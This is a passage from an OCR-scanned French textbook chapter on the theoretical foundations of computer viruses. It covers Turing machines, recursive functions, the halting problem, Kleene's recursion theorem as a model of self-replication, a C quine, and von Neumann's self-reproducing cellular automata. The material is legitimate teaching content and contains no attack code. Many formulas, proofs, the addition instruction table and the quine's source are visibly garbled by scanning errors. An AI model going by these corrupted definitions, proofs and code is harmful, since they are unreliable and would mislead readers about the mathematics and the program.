qui 8’y trouvait. La cellule courante est celle se trouvant devant la téte
de lecture/écriture ;

une fonction de controle F' pilotant la téte de lecture/écriture. Cette
fonction est constituée d’'une mémoire contenant 1’état de la machine
M et des instructions spécifiques au probléme traité (le programme).
Toute action de la téte de lecture/écriture est directement déterminée
par le contenu de cette mémoire et celui de la cellule courante. La
fonction de controle se divise en deux fonctions? : une fonction d’état
dont le role est d’actualiser I’état interne de F' et une fonction de sortie
chargée de produire des symboles. Les actions élémentaires de la téte
de lecture/écriture sont les suivantes :

— déplacement d’une cellule vers la droite.

— déplacement d’une cellule vers la gauche.

— pas de mouvement. Le traitement est achevé, la machine M s’arréte.
— écriture d’'un symbole dans la cellule courante.

Le travail de la machine M peut se résumer en trois phases :

1.

Phase de lecture.- Le contenu de la cellule courante est lu et alimente
la fonction de controle.

Phase de calcul.- L’état interne de la fonction F' est actualisé en fonc-
tion de I’état présent et de la valeur lue dans la cellule courante.

Phase d’action.- L’action, dépendante de I’état interne et de la valeur
lue dans la cellule courante, est effectuée.

2 En fait, la fonction de contréle est un automate cellulaire mais cette notion ne sera

introduite au’en 1954 et formalisée en 1955 et 1956.
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Bande de calcul

Fonction F

Fic. 2.1. Schéma d'une machine de Turing

Malgré son apparence primitive, ce modéle trés simple permet de décrire
tout algorithme et de simuler tout langage de programmation. Décrivons
maintenant une telle machine de facon plus formelle?.

Définition 1 Une machine de Turing est une fonction M définie, pour tout
entier naturel n, par

M:{0.1,.... n} x {0,1} — {0,1} X {D.G} % {0,1,...,m}

Lensemble {0,1,...,n} décrit les indices des élats ¢; (ou instructions) de la
machine, Uensemble {0,1} celui des symboles s; possibles pour chaque cellule
et {D,G}, Uensemble des déplacements possibles (a droite ou & gauche) de
la téte de lecture/écriture.

Cette définition ne considére qu'un ensemble réduit de symboles. La géné-
ralisation & un ensemble plus étendu est bien évidemment possible. En fait,
I'utilisation des deux symboles 1 et (0 suffit amplement. Les données de la
bande de calcul sont, en fait, représentées par des chaines de 1, séparées par
des 0 qui servent de délimiteurs. Ainsi, le nombre & sera représenté par unc
séquence de = + 1 symboles 1. Par exemple, la suite de nombres entiers 2 ()
1 sera codée par 0111010110.

Comment utilise-t-on en pratique cette formalisation 7 Prenons un exem-
ple : soit M(4,1) = (0, D, 3). Cela signifie que si, a l'instant ¢, la machine
M est dans Pétat eyq et que la cellule courante contient le symbole 1, alors
ce symbole est effacé, le symbole 0 y est écrit & la place, la téte est déplacée
vers la droite et la machine passe de I'état e4 a I'état e5. Si la valeur M (4, 1)
n’est pas définie, la machine g’arréte ct le calcul est achevé.

? Plusicurs formalisations cxistent pour les machines de Turing. Nous avons considéré

I'une des plus simples afin de faciliter la compréhension du lecteur non spécialiste. Le
lectenr intéressé par la formalisation orieinale se référera a [218].
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TAB. 2.1. Machine de Turing pour le calcul de la somme de deux entiers

ei, s5) M(e;, s;) Commentaires

eo, 1) (1,D,0) parcours de z

(

(

(eo, ) (1, D,1) suppression du délimiteur
(e1,1) (1, D 1) parcours de y

(e1,0) (0, G, 2) fin du parcours de y

(e2, 1) (0,G,3) effacement d’un symbole 1
(e3,1) (0,G,4) effacement d’un symbole 1
(947 (1 G, 4)

(e4,0) (0,D,5) arrét (fin du calcul)

Exemple 1 Considérons addition de deuz nombres x et y. La table des
instructions est donnée dans la table 2.1. Les données d’entrées sont codées
par

0l111...1110111...111

T Y

et la machine débute dans U’état initial eg et sur le symbile 0 les plus 4 gauche.
A la fin, la bande de calcul contient une séquence de x +y+ 1 symboles 1.

Cet exemple montre combien le modéle de Turing est & la fois simple et
puissant. Il montre que, dés lors que ’on peut exhiber une table semblable &
celle de ’'exemple précédent, il est possible en pratique de réaliser I'opération
considérée, donc de trouver une solution réalisable ou effective au probléme
considéré.

La question qui se pose alors immédiatement est la suivante : est-il pos-
sible de décrire toute fonction f par une telle machine? Autrement dit,
existe-t-il des problémes pour lesquels aucune machine de Turing ne puisse
étre exhibée ? Pour y répondre, nous allons considérer les fonctions dites ré-
cursives. Nous nous limiterons, sans restriction conceptuelle, aux fonctions
définies sur des entiers et & valeurs entiéres soit

f:NF SN,

que nous appellerons des k-fonctions partielles (car le domaine de définition
peut étre seulement une partie propre de N¥). L'entrée (1, 2o, ..., x;) d’'une
telle fonction est codée dans une machine de Turing par la chaine suivante :

C=011...11011...110...11...110.
—_—_— = —
r1+1 o+l Tp+1
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Définition 2 Une k-fonction partielle f est dite récursive s’il existe une
machine de Turing M commencant le traitement avec [’état initial eg, sur le
bit le plus & gauche de C telle que :

1. St f(x1,29,...,2) est défini alors M s’arréte et la bande de calcul
contient la chaine correspondant & la valeur de f(x1,x2,...,21).
2. 8i f(x1,x9,...,x) nest pas défini, la machine M ne s’arréle jamais.

Une fonction récursive est donc une fonction effectivement calculable.

La théorie des machines de Turing se confond, en fait, avec celles des fonctions
récursives, autrement dit des fonctions effectivement calculables. Pour un
exposé exhaustif de ces fonctions, le lecteur consultera [19,195].

La notion de fonctions récursives est due a Kurt Godel [129]. Le terme de
récursif* vient de son souci de définir pour une fonction f, la valeur f(n+1)
a partir de celle de f(n). Les fonctions récursives primitives permettent de
dénombrer facilement les fonctions récursives.

Théoréme 1 (Cardinalité des fonctions récursives)
Il y a exactement Rg (une infinité dénombrable) fonctions partielles récursives
et exactement Ry fonctions récursives.

Démonstration. Toutes les fonctions constantes (elles appartiennent a l’en-
semble des fonctions récursives primitives) sont récursives. Cela implique
qu’il y a au moins Ng° fonctions récursives. La numérotation de Godel (voir
note de bas de page de la section 2.2.2) montre qu’il y en a au plus Ry. Do
le résultat. O

Théoréme 2 (Fristence de fonctions non récursives)
1l existe des fonctions non récursives.

Démonstration. Selon le théoréme de Cantor, il existe 2% fonctions (le lec-
teur prouvera ce résultat en considérant toutes les fonctions de N vers ’en-
semble {0,1}). Or, selon le théoréme 1, il y a Ny fonctions récursives. D’ou
le résultat. O

1 La récursion est la définition d’un objet a 'aide d’un objet de méme nature (ici les
fonctions « effectivement calculables »). La classe entiére des objets peut alors étre
construite de maniére axiomatique, & partir de quelques objets initiaux et d’un petit
nombre de régles. En particulier, la classe des fonctions récursives primitives (fonctions
constantes, fonction « successeur », fonction identité, ...) est la base de construction des
fonctions récursives (voir [195, pp 5-10]).

5 No désigne le cardinal de ’ensemble des entiers naturels N.
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Le lecteur consultera [189] pour découvrir des exemples de fonctions non
récursives.

Précisons enfin que cette définition (et les résultats qui suivront), intro-
duite pour les fonctions, se généralise de fagon intéressante aux relations
k-aires sur N, en considérant la définition suivante.

Définition 3 Une relation R est dite « décidable » s’il existe une procédure
effective qui, étant donné un objet x, permet de vérifier st R(x) est vraie
ou non. Si R est décidable, alors sa fonction caractéristique est récursive,
c’est-a-dire effectivement calculable.

2.2.2 Machine de Turing universelle

Le modéle des machines de Turing, tel qu’il a été présenté jusque la, ne
peut étre suffisant pour décrire le fonctionnement d’un ordinateur actuel,
ce dernier pouvant résoudre un grand nombre de problémes tandis qu'une
machine de Turing donnée, ne s’occupe que d’un seul probléme. En fait, la
modélisation effective d’un ordinateur nécessite de considérer un objet plus
général : les machines de Turing universelles.

Définition 4 Une machine de Turing universelle U est une machine de
Turing qui, sur des données d’entrée décrivant d’une part une machine de
Turing M donnée, et d’autre part une donnée d’entrée x pour cette ma-
chine, simule l'action de M sur x, autrement dit calcule M(z). On note

U(M;z) = M(z).

Afin de mieux comprendre cette définition, décrivons comment peut fonc-
tionner en pratique une machine de Turing universelle U. Une machine M,
étant un objet fini peut étre codée, (représentée) par un entier®, ce qui permet
d’étudier plus facilement le mode d’action de U : la notion de machine si-
mulant d’autres machines revient & considérer ’action d’une machine simple
sur une donnée.

Considérons un exemple d’un tel codage. Soient les données (xg, 1,
...,xy) contenues sur la bande de calcul. Nous pouvons les représenter par
I’entier :

< B Ty, Ty >=2F0TIgmHL .pfbnﬂ

!

en utilisant les entiers premiers p; (I'utilisation d’entiers premiers permet,
par la machine, un décodage univoque). Les machines de Turing doivent

5 1l s’agit 1a d’un procédé trés utile, généralisé par Godel pour I'étude de la logique du
premier ordre et connu sous le nom de numérotation ou code de Gddel. L.e nombre de
symboles d’un langage ou d’un programme étant fini, ’existence et la construction de
cet entier ne nosent aucun probléme.
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étre capables de réaliser ce codage et le décodage qui lui correspond, afin de
fonctionner. Plus généralement, & chaque instant ¢, la configuration dune
machine M, elle-méme (contenu de la bande, instructions...) peut étre repré-
sentée de la sorte, par un entier, appelé, « configuration instantanée ». L’en-
semble de ces configurations — 1’histoire du colcul — peut aussi étre désigné
par un entier naturel (une description détaillée sera trouvée dans [182, sec-
tion 3.1]).

Comment se traduit alors le probléme de 'effectivité du calcul dans le
cas des machines de Turing universelles? En particulier, le codage choisi
constitue-t-il une fonction récursive, ce qui permettrait alors d’espérer que
I’action de U sur M avec la donnée x a un sens? Pour cela considérons les
deux points suivants :

— il existe une relation ternaire R(e,< xg,x1,...,T >,Yy), vraie si et
seulement si e est un entier codant une machine de Turing M, et y
décrit similairement ’histoire du calcul de M a partir des données
(%0,%1, ces ,.’L‘k).

— il existe une fonction récursive U telle que, chaque fois que R(e, <
Zo,T1,. .., >,y) est vraie, alors U(y) désigne la valeur produite par
le calcul de M sur (xg,x1,...,Tk).

11 devient assez intuitif, en premiére approche, que la relation R est décidable
(voir la définition 3) et que U est récursive. Précisons les choses. Soit la k-
fonction partielle

@e(x()vxl? v 7:I:k) = U[y*]

ou y* désigne le plus petit entier y (quand il existe) tel que
R(e, < xg,x1,...,T, >,y) soit vraie.

Nous disposons alors du théoréme fondamental suivant da & Kleene [146].

Théoréme 3 1. La k+ 1-fonction partielle qui vaut @c(x1,x2,...,T)) pour
les valeurs (e,x1,x2,...,x)) esl récursive.

2. Pour chaque entier e, la k-fonction partielle p. est récursive.

3. Toute k-fonction partielle récursive est égale & p. pour un certain e.

L’entier e est appelé I'indez de la fonction @.. Autrement dit, une k-fonction
partielle est récursive (i.e. est effectivement calculable), si et seulement si elle
possede un index. La notion d’index correspond donc a celle d’un programme.
Nous adopterons dans la suite la notation ¢, au lieu de ¢, pour plus de clarté
et le terme de fonction (simple ou universelle) au lieu de machine de Turing,
puisaue nous avons vu aue les deux notions sont identiaues.



2.2 Les machines de Turing 15

Pour résumer, une fonction universelle dispose d'un programme pg et
©p, () calcule @, (z), ot x =< p,z > est la donnée formée d’'un programme
p et d'une valeur d’entrée z. Remarquons que cette notation est assez puis-
sante, car elle permet de ne plus faire de différence entre les données consti-
tuées d’un programme et des valeurs (les données proprement dites). Cela se
révélera utile par la suite dans le cadre des virus.

2.2.3 Probléme d’arrét et décidabilité

La formalisation précédente, aussi intéressante soit elle, ne résout pas le
probléme de ’arrét du programme, autrement dit de la calculabilité effective.
Supposons qu’une machine M recgoive en entrée la valeur x et qu’elle com-
mence a calculer. Aprés plusieurs millions d’étapes, le probléeme se pose de
savoir si M finira par s’arréter ou non. Face a la tentation de dire « non » et
d’arréter la machine M, il est possible de se demander si avec quelques mil-
liers de pas supplémentaires, la machine ne finirait pas par fournir le résultat
escompté (la machine s’arréte).

Se pose alors un probléme intéressant. Existe-t-il un programme (une
machine de Turing) qui permettrait de répondre & coup str au probléme
de Varrét (Halting Problem)? L’existence éventuelle d’une telle procédure
revient & considérer un autre probléme fondamental : la décidabilité ou la
non-décidabilité d’une fonction. En d’autres termes, nous considérons des
fonctions pour lesquelles il n’existe aucun programme permettant de les cal-
culer, autrement dit qui ne sont pas récursives.

Notons @p,(x) " si le résultat du calcul n’est pas défini et @, () N\, ¢'il
est défini. Notons enfin

Hy = {plop(x) \.},

I’ensemble de tous les programmes qui s’arrétent pour une entrée fixée z.
Nous pouvons alors donner le théoréme suivant.

Proposition 1 L’ensemble H est récursivement énumérable.

Le terme de récursivement énumérable signifie que pour savoir si p € H, on
lance le calcul : si celui-ci s’arréte, 'appartenance a ’ensemble est prouvée
sinon on ne peut répondre’. Un ensemble que I’on peut ainsi définir a Iaide
d’un programme est dit récursivement énumérable. On adoptera la proposi-
tion suivante.

" Le lecteur remarquera que ’on se place dans une situation idéale ol toute restriction

imposée sur le temps et 'espace mémoire a été écartée. Cela ne pose pas de probléme
conceptuel.
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Définition 5 Un ensemble &£ est résursif si et seulement si sa fonction ca-
ractéristique® est récursive totale, ¢’est-a-dire si le programme qui la calcule
s’arréte toujours.

On appelle décidable un probléme dont 'ensemble des solutions est récursif.

Il est important de noter que ’énumérabilité récursive n’implique pas
la propriété de récursivité (l'inverse est, en revanche, vrai). Cela signifie
que nous ne savons toujours pas si un algorithme pouvant toujours statuer
sur effectivité d’un calcul existe. La réponse est malheureusement négative
comme le résume le théoréme fondamental suivant.

Théoréme 4 H n’est pas récursif. Il n'exriste pas de programme qui s’arréte
toujours et qui donne le résultat « vrai » si pp(x) \, et « fauz » si py(x) /.

Démonstration. Raisonnement par contradiction. Supposons qu’un tel pro-
gramme, P, existe. Modifions-le alors pour obtenir le programme II fonc-
tionnant selon le schéma suivant, pour tout programme p, en utilisant sa
représentation fonctionnelle 1 :

\ sinon

w(pjx) _ {/ s 9073(< b,z >) \«

Mais, par construction (.) représente le programme /. Comment se com-
porte ce programme quand un codage de lui-méme lui est présenté, autrement
dit que vaut ¥ (11, 1I)? Par définition de ¢ nous avons

st pp(< I >) N
\, sinon

vir.m = {

Si (I, IT) ™\, alors par définition, nous avons ¢(IT,IT) / et si (I, IT) /",
toujours par définition, alors (11, II) \,. D’ou contradiction. |

Ce résultat fondamental sera repris par Fred Cohen (voir chapitre 3) pour
prouver des résultats importants concernant 'efficacité de la lutte antivirale.

2.2.4 Fonctions récursives et virus

Les résultats précédents permettent une modélisation puissante de la no-
tion de programme. Les virus, programmes particuliers, correspondent a des
fonctions, elles-mémes particuliéres (autoreproduction et éventuellement évo-
lutivité) ; ils peuvent, par conséquent, étre décrits de la méme maniére.

8 Cette fonction est telle que f(x) = 1si x € £ et f(z) = 0 autrement.
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Le théoréme de récursion de Kleene [148] qui date de 1938 est, implici-
tement, la premieére formalisation, certes inconsciente, des programmes au-
toreproducteurs, avant méme que von Neumann ne commence & s’intéresser
a ce type de programme (ses premiers travaux datent de 1948). La notion
de virus (a la fois le terme et la réalité qu’il recouvre) apparaitra beaucoup
plus tard, mais avec le théoréme de récursion?, l'effectivité des programmes
viraux est démontrée.

Théoréme 5 (Théoréme de récursion) Pour toute fonction récursive totale
[N =N, il existe un entier e tel que pc(.) = @) (.)-

Ce théoréme, dans sa forme étendue, s’applique également aux fonctions
récursives partielles. Il suffit de considérer le fait qu’il est possible d’obtenir
une fonction totale a partir d’une fonction partielle (théoréme des fonctions
paramétrées [19, page 544]). Le lecteur trouvera également un exposé complet
sur les différentes formes du théoréeme de récursion dans [195, pp 180-182].
Etant donné son importance dans le contexte des virus, nous allons en donner
une preuve tirée du livre de Rogers [195, p. 180] (une preuve de la seconde
forme de ce théoéme est donnée dans la section 4.6).

Démonstration. Soit w un entier donné. Définissons la fonction  par

) = ¥ u(u)(x) si oy (u) N\,
d )_{; si pu(u) /

Pour plus de clarté, le calcul de () utilise un ensemble d’instructions asso-
cié a Pentier (de Godel) u. En appliquant l'entier u en entrée a u lui-méme
(description de la fonction ¢, (u)), si le résultat, w, est défini, on utilise I’en-
semble d’instructions associé & w sur x, ce qui donne, si le résultat est défini,
().

1l est clair que les instructions de 1 dépendent de 'entier w. Considérons
une fonction récursive g définissant & partir de u, U'entier de Gédel pour ces
instructions de 1. Nous avons alors :

_ P (@) s pulu)
Pg(u) e si @u(u) Ve

Maintenant, soit f une fonction récursive quelconque. Alors fg (le produit
désigne la composition fonctionnelle) est une fonction récursive. Soit v 'entier
de Godel pour fg. Comme @, = fg est totale (définie sur tout 'espace de

9 Ce théoréme est éealement connu sous le nom de théoréme du point fixe.
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départ), alors il s’ensuit que ¢, (v) =\,. En posant v pour u dans la définition
de la fonction ¢, nous avons :

Po(v) = Pou(v) = Pfy(v)-
En posant ¢ = g(v) nous obtenons le résultat. [ |

Essentiellement, ce théoréeme indique que pour une méme action (les pro-
grammes font la méme chose), les codes associés sont, eux, différents. Si la
fonction f est la fonction Identité (f(z) = x, récursive totale, dont la ma-
chine de Turing associée est la machine vide), nous avons méme des codes
identiques, et de la, implicitement, la notion d’autoreproduction, autrement
dit, de virus simple. Pour toute fonction f, différente de I'identité, le théo-
réme de récursion décrit simplement le mécanisme de polymorphisme, prés
de 50 ans avant les travaux de Cohen et ceux d’Adleman, et sa premiére
réalisation pratique. Nous verrons comment L. Adleman a systématisé les
choses en considérant, différentes catégories de fonctions récursives. Cela lui
a permis d’établir une classification exhaustive des différentes infections in-
formatiques.

Une application amusante, assimilable au mécanisme viral (et qui sera
détaillée dans le chapitre consacré aux virus de code source) est celle des
« Quine » autrement dit, des programmes qui écrivent leur propre code
source!'?. Voici un exemple, dii & Joe Miller, en langage C (le signe \ ne fait
pas partie de code, mais indique simplement que le programme doit tenir sur
une seule ligne; il a été rajouté pour les besoins de la mise en page).

p="p=%e%skhe;mainO{printf(p, 34, p, 34);}"; \
main(){printf(p, 34, p, 34);}

2.3 Les automates autoreproducteurs

La théorie des automates cellulaires'! est née en 1948 de la tentative de
von Neumann de trouver un modéle réductionniste pour décrire les processus
d’évolution biologique, en particulier celui de "autoreproduction [220].

Plus précisément, il souhaitait définir un ensemble d’interactions primi-
tives locales permettant de décrire I’évolution de formes complexes d’orga-
nisation, essentielles & la vie. De cette approche, la théorie des automates

1% Le lecteur pourra consulter le site www.nyx.net/~gthompso/quine.htm qui contient de
trés nombreux exemples de tels programmes pour la plupart des langages de program-
mation.

1 Te terme cellulaire tire son origine des travaux de von Neumann, qui a considéré pour
ces obiets un vlan divisé en cellules carrées. chacune contenant un automate fini.
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cellulaires peut effectivement étre définie, d'une maniére générale, comme
traitant essentiellement de la question de savoir comment des régles simples
permettent de produire des schémas complexes. Un automate cellulaire est
la représentation mathématique la plus simple d’une classe beaucoup plus
large de systémes complexes, c’est-a-dire de systémes dynamiques constitués
de parties interagissant de maniére le plus souvent non linéaires.

Cette théorie des automates cellulaires, née des travaux de von Neumann
et plus tard de Burks [40,221], s’est treés vite révélée extrémement puissante
pour modéliser des systémes trés complexes. Elle a été utilisée avec succés
dans des disciplines aussi diverses que la physique, la chimie, la biologie,
I’écologie, I'informatique, I’économie, la science militaire, etc.

Il existe en fait de trés nombreux modeéles d’automates cellulaires ; cepen-
dant, tous présentent les caractéristiques génériques suivantes :

— un treillis discret (au sens mathématique du terme) de cellules, uni-,
bi- ou tridimensionnel (’espace est divisé en un nombre fini ou dénom-
brable de parties identiques) ;

— I’homogénéité : toutes les cellules sont identiques et équivalentes ;

— I’état de chaque cellule ne peut prendre qu’un nombre fini de valeurs;

— chaque cellule interagit seulement avec les cellules voisines (la notion
de voisinage dépendant de la nature de 'automate) ;

— a chaque instant ¢, chaque cellule met a jour son état selon une régle
dite de transition, constituée d’une fonction prenant en argument les
états de la cellule et celui de ses voisines.

John von Neumann s’est attaché, le premier, & construire effectivement un
automate cellulaire bidimensionnel, capable de s’autoreproduire, autrement
dit de réaliser pratiquement ce qui n’était encore qu’un modéle théorique —
a savoir une machine de Turing universelle (ou ordinateur universel) [126].

2.3.1 Modéle mathématique du modéle de von Neumann
Définitions de base

Un automate fini, en premiére approximation, peut étre défini comme
un processus permettant d’aboutir, en un nombre fini ou non de pas, & un
résultat final & partir d’un état initial donné. Plus précisément, la définition
suivante est généralement adoptée.

Définition 6 (Automate fini)

Un automate fini est un quintuplet (qo,Q, F, X, f) ot Q est un ensemble
fini appelé ensemble des états, go € Q état initial, F C @ ’ensemble des
états finauz, X ensemble fini désignant lalphabet et f: Q x X — Q la
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fonction de transition. Si X* désigne l'ensemble de tous les mots m défi-
nis sur l’alphabet X alors la fonction f se prolonge sur Q x X* en posant
flg,m|la) = f(f(g,m),a) pour m € X*, a€ X et g € Q. Un mot m de X*
est dit reconnu par ['automate si et seulement si f(qo,m) € F.

Pour plus de simplicité (et ce, sans restriction conceptuelle), nous désigne-
rons un automate fini par un triplet (V,vg, f) ou V est I'ensemble des états
de chaque cellule, vy un état particulier et f la fonction de transition. Cette
notation est celle utilisée par Thatcher et se polarise uniquement sur le pro-
cessus de transition et non pas sur la suite des transitions d’un état initial
vers un état final. Avec notre notation, nous avons ¢ = V"™ pour un n donné.
() est appelé la, mémoire de 'automate.

Afin de rester dans le cadre des travaux de von Neumann, nous nous limi-
terons 4 la formalisation des automates cellulaires bidimensionnels. Pour un
exposé plus général (automates uni- ou tridimensionnels), le lecteur pourra
consulter [139]. Nous reprenons le formalisme développé par J. Thatcher a
partir des travaux de von Neumann [216].

Soit N I’ensemble des entiers naturels.

Définition 7 (Automate cellulaire)
Un automate cellulaire (ou espace cellulaire) est défini sur N x N par :
1. Une fonction de voisinage g : N x N — 28N deéfinie par

gla) ={a+d,a+0b,...,a+6,} VYaeNxN

ot + désigne la loi produit sur N x N et on les §; € N x N pour (i =
1,2,...,n) sont fixés et dépendent du type d’automate.

2. Un automate fini (V, vy, f) défini sur un ensemble d’états cellulaires V' et
ot vy est appelé Uétat au repos et f une fonction locale de transition de
V™ sur V satisfaisant :

f(U(),’U(),...,U()) =1

Un automate cellulaire est donc un ensemble dénombrable de cellules, ’en-
semble N x N décrivant ’ensemble des coordonnées cartésiennes des cellules.
Chaque cellule contient une copie identique de l'automate fini (V, vy, f) et
I'é¢tat v'(a) de la cellule « & I'instant ¢ correspond a I'état de l'automate
associé au méme instant. La cellule o est considérée comme appartenant &
son voisinage, d’ou 6; = 0.

La fonction d’état de voisinage ht : N x N — V" est donnée par

ht(a) = (v (@), v (o + 62), ..., v (o + 6,)),

et permet de définir 'état de la cellule « & 'instant ¢ + 1 en fonction de son
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état du voisinage a l'instant ¢ par

F(hH(a)) = v (a).

Définition 8 (Configuration d’un automate cellulaire)
Une configuration (ou état général réalisable du modéle cellulaire) est une
fonction ¢ : N x N — V telle que

supp(c) = {a € N x N|e(a) # vo}
soit fina.
On appelle ¢ une sous-configuration de la configuration c si
c|supp(c’) = | supp(c’)
ot | désigne la restriction fonctionnelle'?

Par construction, un automate cellulaire posséde, a chaque instant ¢, un
nombre fini de cellules dans un état différent de 1’état de repos vgy. La fonc-
tion c est dite de support fini relativement a [’état vy. Notons qu’il est possible
d’assimiler la fonction ¢ avec son graphe, ce qui permet de parler de confi-
guration c.

Définition 9 (Fonction de transition globale)
Soit C ensemble de toutes les configurations pour un espace cellulaire donné.
Alors la fonction de transition globale F': C — C est définie par

F(e)(a) = f(h(a)) VaeNxN

Si 'on considére une configuration initiale ¢y, alors la fonction F' permet
de définir ce qu’on appelle une propagation, c’est-a-dire une séquence de
configurations décrivant I’évolution de 'automate cellulaire :

COyClynvyChynn avec ¢i11 = F(¢) VL.
Cette séquence peut encore étre décrite par
co, F(co), F*(co), .., F'(co)s .-

ce qui traduit mieux le processus d’évolution de l'automate.

Parmi ces configurations, toutes n’ont pas le méme comportement. Nous
allons résumer cela par la définition suivante. Dans ce qui suit, nous appelle-
rons une zone U, un sous-ensemble quelconque de N x N (il s’agit donc d’une
partie, généralement propre, de 'espace cellulaire).

12 Plys précisément c¢|A = {(c, c(a))|a € A} pour un sous-ensemble A.



22 Les bases de la formalisation

Définition 10 (Propriétés des configurations)

~ Deuz configurations ¢ et ¢ sont dites disjointes, lorsque supp(c) N
supp(c’) = 0. Une configuration ¢ et une zone U sont disjointes, si
et seulement si, supp(c) NU = 0.

~ Soit une paire de configurations disjointes c et /. L’union de c et ¢ est
définie par

cla) si o € supp(c)
(cU)a) =< d(a) si a € supp(c)
vg  Sinon

— Une configuration c est dite passive, si F(¢c) = ¢ et complétement pas-

sive si toute sous-configuration ¢’ de c est passivel>.

Une configuration c est dite stable, s’il existe un instant t tel que F(c)

est passive.

— Une configuration cs est une translation de la configuration ¢, s’il existe
un élément § € N x N tel que cs(a) = c(ae—9) ot — est la soustraction
produit sur N x N,

~ Soient ¢ et ¢ deur configurations disjointes. La configuration c fait
passer de I'information & la configuration ¢ s’il existe un instant t tel
que

Fi{cud)|Q # F(H|Q
o1
Q = supp(F'(d)).

L’autoreproduction selon von Neumann

Nous allons pouvoir définir maintenant 'autoreproduction au sens de von
Neumann et établir le paralléle entre son modele d’automate cellulaire (en-
core dénommé modéle cellulaire) et le concept de machine de Turing. Les
preuves des résultats présentés ne seront pas données car elles nécessitent
une description détaillée (longue et fastidieuse) de Pautomate cellulaire de
von Neumann. Le lecteur pourra toutefois les trouver dans [216] sur lequel
est fondé 'exposé qui suit. Précisons tout d’abord que le modeéle (ou au-
tomate) cellulaire considéré par von Neumann est défini par la fonction de
voisinage g suivante'* (voir figure 2.2) :

13 La passivité n’implique pas la passivité compléte, par définition d’une sous-
configuration. L’inverse est vrai.
1 11 existe d’autres fonctions de voisinage définissant des modéles cellulaires différents :

voisinage de Moore [176] qui est utilisé dans le jeu de la vie de Conway [125], voisinage
hexaeonal. etc.
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Fie. 2.2. Voisinage de von Neumann

gla) ={oya+(0,1),a + (0,-1), 0+ (1,0}, + (—1,0)}

La notion d’autoreproduction et plus généralement celle de construction né-
cessite la capacité de déterminer si, aprés un certain nombre d’étapes, unc
configuration donnée est réalisée ou non. Il est évident que la notion de
construction concerne uniguement 'apparition de configurations dans des
zones, entiérement au repos a U'instant ¢ = 0 (c’est-a-dire dont toutes les
cellules sont dans 1'état vp).

Définition 11 Une configuration ¢ construit une configuration ¢ s%l cxiste
U.

une zone U, disjointe de ¢ et un instant t tels que ¢ = Fi(c)

Nous pouvons maintenant donner la définition de 'autoreproduction au sens
de von Neumann.

Définition 12 (Auto reproduction)
Une configuration ¢ est dite autoreproductrice s'd existe une translotion &
telle que ¢ construit ;.

Considérons 'exemple trivial suivant pris dans [216].

Exemple 2 Soit le modéle cellulaire défini par V = {0,1}, vy = 0 et quel
que soil v; -

I stvs=1

] sty =0

f('f--"l U2, U3, U3, Uy, "95) = {

Dans ce modéle, toute configuration est autoreproductrice.

Dans le modéle de von Neumann, en revanche, Pautoreproduction est non
triviale. Ce résultat cst, en fait, extrémement impressionnant si 'on considére
son modeéle en détail (voir plus loin dans la section 2.3.2). Le premier résultat
suivant peut étre donné. Le lecteur en trouvera la preuve dans [216, pp 1853-
1861.
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Proposition 2 [l existe des configurations autoreproducirices dans le modéle
de von Neumann.

En ce qui concerne le probléme de la construction de configurations, nous
avons la proposition qui suit.

Proposition 3 1 existe des configurations non constructibles dans le modéle
de von Neumann.

(Preuve dans [216, pp 143-145].)

Par exemple, certaines configurations qui n’existent qu’au temps ¢t = 0
(configurations dites du jardin d’Eden) ne sont pas constructibles dans le
modéle de von Neumann.

Proposition 4 Toute configuration complétement passive est constructible
dans le modéle de von Neumann.

(Preuve dans [216, pp 166-168].)

L’objectif du modéle de von Neumann (voir section 2.3.2), c’est-a-dire
la construction d’autres automates, commence & apparaitre avec les trois
propositions précédentes mais en fait, il reste des résultats plus généraux
a établir pour pouvoir parler d’automates cellulaires universels, c’est-a-dire
capables de construire tout autre automate donné. Pour cela, il est nécessaire
d’établir une analogie avec les résultats théoriques connus & 1’époque — &
savoir les machine de Turing!®.

Un automate cellulaire, pour étre défini en termes de machine de Turing,
doit en simuler les éléments constituants, c’est-a-dire la bande de calcul et
la fonction de contréle. La seule fagon de le faire est d’utiliser pour cela des
configurations mais il est obligatoire de tenir compte du caractére « passif »
de la bande de calcul et celui « actif » de la fonction contenue dans la téte
de lecture.

Rappelons que la bande de calcul, dans le modeéle de Turing, sert a la fois &
simuler une mémoire potentiellement infinie mais surtout fournit un mode de
représentation de 'information que va traiter la fonction de controle. Comme
les configurations de 'automate cellulaire doivent simuler les deux organes
considérés, le principal probléme est celui de leur représentation au sein de
lautomate (en particulier, si 'on considére que automate est lui-méme po-
tentiellement infini). Nous pouvons alors poser la définition suivante :

15 Nous présentons ici Panalogie développée par Thatcher dans [216], plus accessible a
un lecteur non mathématicien. Le lecteur intéressé par une formalisation plus aboutie
consultera, [50. oo 10-15] dont une partie seulement a été reorise.
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Définition 13 Une configuration b est une bande de calcul pour une confi-
guration c¢ si b est complétement passive et disjointe de c. La configuration
cU b sera notée c(b).

1l est évident qu’il est nécessaire de considérer des configurations compléte-
ment passives différentes de celles, triviales, pour lesquelles b(a) = vy pour
tout o.

Nous pouvons a présent définir la notion essentielle & la caractérisation
du modéle de von Neumann.

Définition 14 (Constructeur universel)

Une configuration c est un constructeur universel pour une classe C’ de confi-
gurations si pour tout ¢ € C', il existe une bande de calcul b telle que c(b)
construit .

Remarquons qu’il n’existe pas de constructeur universel pour le modele défini
dans I'exemple 2 4 moins d’inclure les configurations complétement passives
triviales.

Proposition 5 Il existe un constructeur universel pour la classe des confi-
gurations complétement passives, dans une région fixée du plan de l'automate
(modéle) de von Neumann.

La preuve, qui nécessite de considérer dans le détail ’automate de von Neu-
mann, se trouve dans [216, pp 166-168|.

Pour achever I'étude de ’analogie des automates autoreproducteurs avec
les machines de Turing, considérons maintenant le probléme de la calcu-
labilité de I'automate de von Neumann. Il s’agit de définir, dans le cadre
cellulaire, la notion d’ordinateur universel.

Le modéle de von Neumann étant bidimensionnel, il est naturel de consi-
dérer tout d’abord des machines de Turing capables de manipuler des bandes
de calcul également bidimensionnelles (ce qui est implicite dans la défini-
tion 13). Soit B un ensemble de telles bandes'®, chacune ayant un nombre
fini de cellules dans un état différent de vy (cet état correspond d’ailleurs au
symbole vide) et V' = VB, le sous-ensemble des états réalisés dans B.

Définition 15 Une fonction partielle ¢ de B dans B est dite Turing-
calculable, s%l existe une machine de Turing définie sur l’ensemble des sym-
boles V' calculant ¢.

Cette définition reprend uniquement ce qui a été défini dans la section 2.2
mais en considérant le cas plus général des bandes bidimensionnelles. Dans

16 Clet, ensemble peut étre vu comme une zone U/ de Pespace cellulaire.
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I'espace cellulaire, la fonction y est alors calculable, (en vertu de la correspon-
